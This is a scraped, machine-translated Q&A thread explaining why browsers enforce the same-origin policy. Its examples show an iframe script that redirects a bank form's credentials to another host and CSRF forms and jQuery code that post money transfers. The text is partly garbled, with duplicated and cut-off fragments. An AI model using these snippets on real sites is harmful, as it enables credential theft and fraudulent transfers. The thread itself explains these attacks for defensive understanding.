Security 为什么需要同源策略的简单示例
我已经阅读了Security 为什么需要同源策略的简单示例,security,web,same-origin-policy,Security,Web,Same Origin Policy,我已经阅读了同源策略,但为了更好地理解这一问题:有人能用任何语言编写一个简单的代码来演示SOP停止的攻击吗 在SOP发生之前,怎么可能攻击他人? <iframe id="bank" src="https://yourbank.com"></iframe> <script> window.onload = function() { document.getElementById('bank').contentWindow.documen
同源策略
,但为了更好地理解这一问题:有人能用任何语言编写一个简单的代码来演示SOP停止的攻击吗
在SOP发生之前,怎么可能攻击他人?
<iframe id="bank" src="https://yourbank.com"></iframe>
<script>
window.onload = function() {
document.getElementById('bank').contentWindow.document.forms[0].action =
'http://example.com';
};
</script>
window.onload=函数(){
document.getElementById('bank').contentWindow.document.forms[0]。操作=
'http://example.com';
};
Javascript代码更改了表单的action属性(可以说是目的地),因此当您提交表单时,您将凭证发送给我,而不是银行
如果我在服务器上设置一个PHP脚本,将您重定向到银行,您甚至不会注意到它
使用同源策略时,不可能进行此攻击。我的域中的站点无法读取或修改银行网站的内容。攻击示例1:使用HTML表单的跨站点请求伪造(CSRF) 在
evil.com
页面上,攻击者放置了:
<form method="post" action="http://bank.com/trasfer">
<input type="hidden" name="to" value="ciro">
<input type="hidden" name="ammount" value="100000000">
<input type="submit" value="CLICK TO CLAIM YOUR PRIZE!!!">
</form>
如所述:
因此,如果evil.com
发出一个post请求,他永远不会猜到该令牌,服务器将拒绝该事务
另见:
攻击示例2:使用JavaScript AJAX的跨站点请求伪造(CSRF)
但是,是什么阻止evil.com
像合法浏览器那样使用JavaScript发出两个请求呢
evil.com
会尝试类似的方法(jQuery因为懒惰):
这就是SOP发挥作用的地方。虽然$.get
和$.post
确实会像HTML表单一样发送经过身份验证的请求,但发件人的浏览器会阻止JavaScript代码读回HTML回复,因为请求被发送到单独的域
Chromium developer控制台显示类型为的错误:
CORS策略已阻止从源“”访问“”处的XMLHttpRequest:请求的资源上不存在“访问控制允许源”标头
已在以下网址询问:
为什么不发送交叉请求cookies呢?
我在问自己:但如果实现有一个规则,比如:“允许任何请求,但只在当前域XHR上发送cookie”,会怎么样
但这仍然允许另一种类型的攻击:身份验证不是基于cookie,而是基于请求的源(IP)
例如,您在公司的内部网中,可以从那里访问内部服务器,该服务器从外部看不到,并提供机密数据
是否禁止所有跨源请求?
即使忘记了CORS,不,我们每天都在做
发件人:
- 通常允许跨源写入:链接、重定向和表单提交
- 通常允许跨源嵌入:图像、外部CSS和Javascript、iFrame
- 通常不允许跨原点读取:XHR(上面的示例),
read 然而,读访问通常是通过嵌入泄漏的。例如,您可以读取嵌入图像的宽度和高度、嵌入脚本的操作或(因此,如果用户登录或未登录到给定域,则可能会读取)iframe
- 检查是否存在某些标题,例如
:X-request-With
- 检查
标题的值:原点
- 重新验证:再次要求用户输入密码。这应该为每一个关键操作(银行登录和转账,大多数网站的密码更改)完成,以防你的网站被XSSed。缺点是用户必须多次输入密码
访问控制允许来源时检入响应标题。否则,脚本将无法访问该响应的任何内容
对于这种情况,例如,SOP可以阻止攻击者向您发送网络钓鱼网页,并使用您的Cookie向您的银行网站发出GET请求,以获取令牌访问您的帐户
对于可能做出潜在危险更改的请求(所谓的“预飞”请求,例如PUT请求),浏览器将尝试使用first向跨域站点发出请求。如果允许提出实际请求,此请求将与跨域站点进行检查。否则,浏览器甚至不会发送实际请求
对于这种情况,一个例子是,SOP阻止攻击者使用您的cookie修改您的密码向您的银行网站发出PUT请求
有关浏览器如何确定请求是否“简单”的详细信息,请参阅
此外,由于这两种情况都涉及使用来自跨域网站的cookie,为什么不在发出跨域请求时禁止使用cookie呢?1.正如Ciro所指出的,身份验证可能基于IP地址,而不是cookies。在这种情况下,禁止使用cookie是没有帮助的。2.在其他情况下,例如,您实际上拥有两个站点,使用一个站点设置Cookie并使用这些Cookie从另一个站点发出请求可能会很有用。因此存在相同来源的策略以给PFISHER带来不便?现在要窃取你的密码,他们必须复制facad
<form action="http://bank.com/transfer" method="post">
<p><input type="hidden" name="authenticity_token"
value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
<p><input type="hidden" name="to" value="ciro"></p>
<p><input type="hidden" name="ammount" value="100000000"></p>
<p><button type="submit">Send 100000000$ to Ciro.</button></p>
</form>
$.get('http://bank.com/transfer')
// Parse HTML reply and extract token.
$.post('http://bank.com/transfer', {
to: 'ciro',
ammount: '100000000',
authenticity_token: extracted_token
})